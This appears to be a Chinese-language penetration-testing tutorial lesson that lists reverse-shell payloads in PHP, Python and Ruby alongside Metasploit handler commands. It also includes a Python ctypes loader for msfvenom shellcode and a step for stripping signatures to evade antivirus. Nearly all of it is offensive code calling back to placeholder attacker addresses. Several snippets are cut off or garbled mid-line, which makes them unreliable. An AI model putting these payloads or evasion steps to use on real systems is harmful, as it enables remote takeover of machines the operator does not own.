专注APT攻击与防御

https://micropoor.blogspot.com/

在实战中可能会遇到各种诉求payload，并且可能遇到各种实际问题，如杀毒软件，防火墙拦截，特定端口通道，隧道等问题。这里我

们根据第十课补充其中部分，其他内容后续补充。

这次主要补充了PHP，python，ruby。

ps:在线代码高亮：http://tool.oschina.net/highlight

1.php-payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse\_tcp payload => windows/meterpreter/reverse\_tcp

msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107

<?

php error\_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream\_socket\_client') && is\_callable($f)) { {$port}"); $s\_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is\_callable($f)) { $s = $f($ip, $port); $s\_ strlen($b)); break; case 'socket': $b .= socket\_read($s, $len-

strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock\_type'] = $s\_type; if (extension\_loaded('s >

<?php

$sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

2.python-payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse\_tcp payload => windows/meterpreter/reverse\_tcp

msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107

import socket,struct,time for x in range(10):

try:

s=socket.socket(2,socket.SOCK\_STREAM)

s.connect(('x.x.x.x',xx)) break

except:

time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l)

while len(d)<l: d+=s.recv(l-len(d))

exec(d,{'s':s})

import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("xx.xx.xx.xx",xx)); i"]);

import socket import subprocess

s=socket.socket()

s.connect(("xx.xx.xx.xx",xx)) while 1:

p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subpro s.send(p.stdout.read() + p.stderr.read())

删除特征：

root@John:~# msfvenom -p windows/meterpreter/reverse\_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d '"' | tr -d '\n'

from ctypes import \*

reverse\_shell = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72 micropoorshell = create\_string\_buffer(reverse\_shell, len(reverse\_shell))

shellcode = cast(micropoorshell, CFUNCTYPE(c\_void\_p)) shellcode()

2.ruby-payload

require 'socket';c=TCPSocket.new("xx.xx.xx.xx", x);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdi (IO.popen(l,"rb"){|fd| fd.each\_line {|o| c.puts(o.strip) }}) rescue nil }

require 'socket';f=TCPSocket.open("xx.xx.xx.xx",xx).to\_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

require 'socket';c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r") {|io|c.print io.read}end

c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

Micropoor